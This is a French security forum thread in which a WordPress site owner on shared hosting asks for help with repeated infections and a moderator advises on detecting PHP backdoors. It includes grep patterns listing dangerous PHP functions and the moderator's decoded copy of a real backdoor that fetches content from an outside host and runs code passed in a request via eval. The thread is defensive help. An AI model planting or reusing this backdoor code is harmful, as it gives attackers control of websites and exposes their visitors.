[Clôt] Questions sur la sécurisation d'un CMS sous Wordpress

Questions autour de la sécurité en général.
Pour les désinfections, merci de vous rendre dans la partie Windows --> Virus : Aide Malwares
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

[Clôt] Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Bonjour à tous,

J'administre un CMS sous Wordpress, relativement fréquenté, hébergé en mutualisé chez OVH sur serveur Apache. J'ai été infecté plusieurs fois par des "exploits", si j'ai bien compris, et ma réponse a été graduée. J'ai d'abord fait scrupuleusement et rapidement toutes les mises à jour de Wordpress et des plugins. Vu que cela a recommencé, j'ai durci les passwords. Quelques mois tranquilles, et rebelote. C'est le plugin Antivirus qui me signalait les fichiers louches. Alors j'ai installé Wordfence, ce qui m'a au moins montré que les attaques sont très nombreuses (plusieurs IP "locked out" par jours après 20 tentatives de connexion successives).
Mais après quelques mois de tranquillité les programmes malicieux se sont de nouveau invités. Wordfence est super pour remettre tout d'équerre, mais vu qu'il n'a pas empêché l'entrée, c'est qu'il y a une autre porte d'entrée que la "brute force". Je viens de lire l'article de Malekal Morte sur la sécurisation de Wordpress. J'ai réalisé certains des points (mots de passe, interdire la lecture de wp-config.php dans le .htaccess, installation de Wordfence). Pour les autres points mentionnés, déplacer le wp-config.php, je ne vois pas comment car il est à la racine du site, donc je ne peux pas le remonter. Déplacer le répertoire wp-content, je pense que je pourrais le faire (pour l'instant j'ai des problèmes avec le chemin des feuilles de style). Mais en réfléchissant je me dis que ces incursions à répétition ne sont pas normales, et je soupçonne maintenant autre chose. J'ai développé une application web en PHP, qui est "hors Wordpress", mais qui partage sa racine. Pour être concret le site Wordpress c'est http://www.chomage-et-monnaie.org et l'application c'est http://www.chomage-et-monnaie.org/Plan_ ... entree.php Je ne suis pas développeur professionnel et j'ignore si j'ai développé de manière à éviter les hacks. Comment savoir si mon application est "propre" ? Y a-t-il des analyseurs de code pour ça ?

Tout conseil dans ma situation serait bienvenu.

:) gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

Salut,

Les scans WordPress c'est normal, y en a plein par jour. Tu devrais surtout vérifier si tes comptes Wordpress et voir si tu n'as pas une backdoor qui traine car ça permet aux attaquants d'avoir la main sur ton site : lire détecter les backdoor PHP.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Bonjour,
D'accord je vais essayer de faire ça. Mais pour trouver les strings, je suis un peu gêné car le papier que tu m'as mis en lien propose une commande Linux, or je n'ai pas la main sur le serveur Apache de mon hébergement mutualisé.
Ce que je peux faire, c'est rapatrier les fichiers sur mon ordinateur perso et les explorer sous Windows, Mais y a-t-il une manière aussi élégante de le faire sous windows 7 ? Je vais chercher de mon côté.

Edit
Ca y est j'ai compris. la commande on peut l'utiliser sous php, je ne connaissais pas passthru et shell_exec. je m'y mets ...

:) gabier
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Bonjour,

Je n'ai pas réussi à passer le script proposé.

Code : Tout sélectionner

find . -iname '*php' | xargs egrep '(passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile)' -sl;
Il faut dire que je n'ai pas réussi à bien comprendre ce qu'il faisait. En tout cas le copier-coller et l'exécution sur le site ne donne aucun résultat (page blanche, un echo("hello") inséré avant ne sort pas non plus). Un moyen de déboguer ça ?

En attendant je vais faire un minimum : recharger mon appli à partir de fichiers sains et pour wordpress m'en remettre à Wordfence. Également, l'idée d'une surveillance des changements de fichiers est une bonne idée, je vais creuser ça, mon hébergeur offre la possibilité de planifier des exécutions de scripts

:) gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

La commande fait une recherche mais faut bien sûr avoir une console SSH.
C'est plus pour le principe des Backdoor PHP.

Normalement Wordfense fait une partie de cela (recherches de backdoor, fichiers en trop, etc).
Après c'est assez difficile de t'aider plus que ça sans être devant la machine.
Tu peux aussi restreindre l'accès Admin de WordPress à des IP spécifiques.

etc. etc.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Merci Malekal pour tous les conseils,

Chez OVH on a accès à SSH. Je creuserai ça un jour pour test la commande. Pour le suivi des modifications de fichiers, OVH pourra exécuter les tâches planifiées des scripts, mais je vais le faire en PHP. J'ai commencé à ré-écrire une version PHP de ton script shell. Pour les ips, je ne suis pas vraiment en ip fixe.

:) gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

OVH te bloque l'accès comme là ?
=> OVH Mutualisé : piratage et blocage de site WEB ?

Pense aussi que ton ordinateur peut-être une porte d'entrée.
=> Intrusions sur site internet par vols d'identifiants (SSH/FTP/..).
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Malekal_morte a écrit :OVH te bloque l'accès comme là ?
=> OVH Mutualisé : piratage et blocage de site WEB ?
Oui, ils me l'ont fait une fois. Ca fait un choc! Depuis j'ai installé Wordfence et il réagit plus vite qu'eux (à condition que je sois disponible.
D'ailleurs, ce matin alerte, nouvelle infection. 19 fichiers un peu partout infectés ou ajoutés, avec dedans des strings très louches. J'ai gardé un exemple mais je n'ose pas le copier ici, c'est peut-être dangereux!
Je suis quelque peu désarçonné. Ce n'est pas une backdoor dans mon appli puisque j'ai rechargé une version saine. Dans Wordpress je sèche pour l'instant.
Malekal_morte a écrit : Pense aussi que ton ordinateur peut-être une porte d'entrée.
=> Intrusions sur site internet par vols d'identifiants (SSH/FTP/..).
Oui, le ftp me tracasse depuis un moment. Mais OVH n'offre le SFTP que si on a un abonnement "pro", nettement plus cher! La seule chose que j'ai trouvé est que je peux couper l'accès FTP et le réouvrir à la demande. mais c'est très lourd!
Je vais changer le mot de passe et le couper entre les mises à jour pour voir...

:) Gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

Zip le et envoie sur [email protected]
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Malekal_morte a écrit :Zip le et envoie sur [email protected]
C'est fait.

Comme indiqué, j'essaie de transposer ton script en shell unix vers une version php. Pour tester sur une possible backdoor, tu fais un "egrep" sur une "pattern". Cette pattern est-elle (version commande seule)

Code : Tout sélectionner

'passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile)'
ou (version script cron)

Code : Tout sélectionner

'base64_|auth_pass|exec\(|curl_exec|phpinfo|system\(|mail\(stripslashes\('
Je ne suis pas un as des expressions régulières ni des strings malicieux, aussi je ne voudrais pas tester sur un modèle inefficace.

:) gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

J'ai reçu ton mail, ça se décode comme ceci :

Code : Tout sélectionner

if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://mobi-life-system.com/get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0ea53695c9b189b469f07cbd0606075c".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("mobi-life-system.com", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0ea53695c9b189b469f07cbd0606075c".$d.$u.$c."1")." HTTP/1.1\r\n";
    $out .= "Host: mobi-life-system.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "40ba118f") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}
Le début sert de ping, voir si la backdoor fonctionne encore.
et à la fin, ça permet d'executer une commande sur le serveur.

~~

Pour la page PHP qui cherche une backdoor, tu peux t'inspirer de ce décodeur base64 en ligne vu que dans ton script, tu as @$strings(str_rot13('riny(onfr64_qrpbqr... et faut chercher aussi sur php au niveau du str_rot13
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
gabier
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par gabier »

Merci pour le modèle de script en php. Si j'ai bien compris, le tien n'analyse que les nouveaux fichiers, alors que celui en php analyse tous les fichiers du site, ce qui est beaucoup plus long. Je me trompe ?

:) gabier
Malekal_morte
Messages : 114066
Inscription : 10 sept. 2005 13:57

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par Malekal_morte »

Il fait une recherche de contenu, c'est un peu comme si sur ton disque Windows, tu cherchais tous les fichiers texte contenant ou passthru ou shell_exec ou system
ici le but est de trouver tous les fichiers php contenant ce texte.
Bien sûr, il y aura probablement des faux positifs, c'est à dire des scripts non malicieux qui contiennent ce code.
Faut trier.

Les logs Apache peuvent aussi aider, en cherchant les pages PHP qui ont peux de hits.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
nam1962

Re: Questions sur la sécurisation d'un CMS sous Wordpress

par nam1962 »

Je suis le fil de la discussion ;) Perso j'utilise Planethoster plutôt que OVH et j'ai ajouté des protections en plus
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Securite informatique »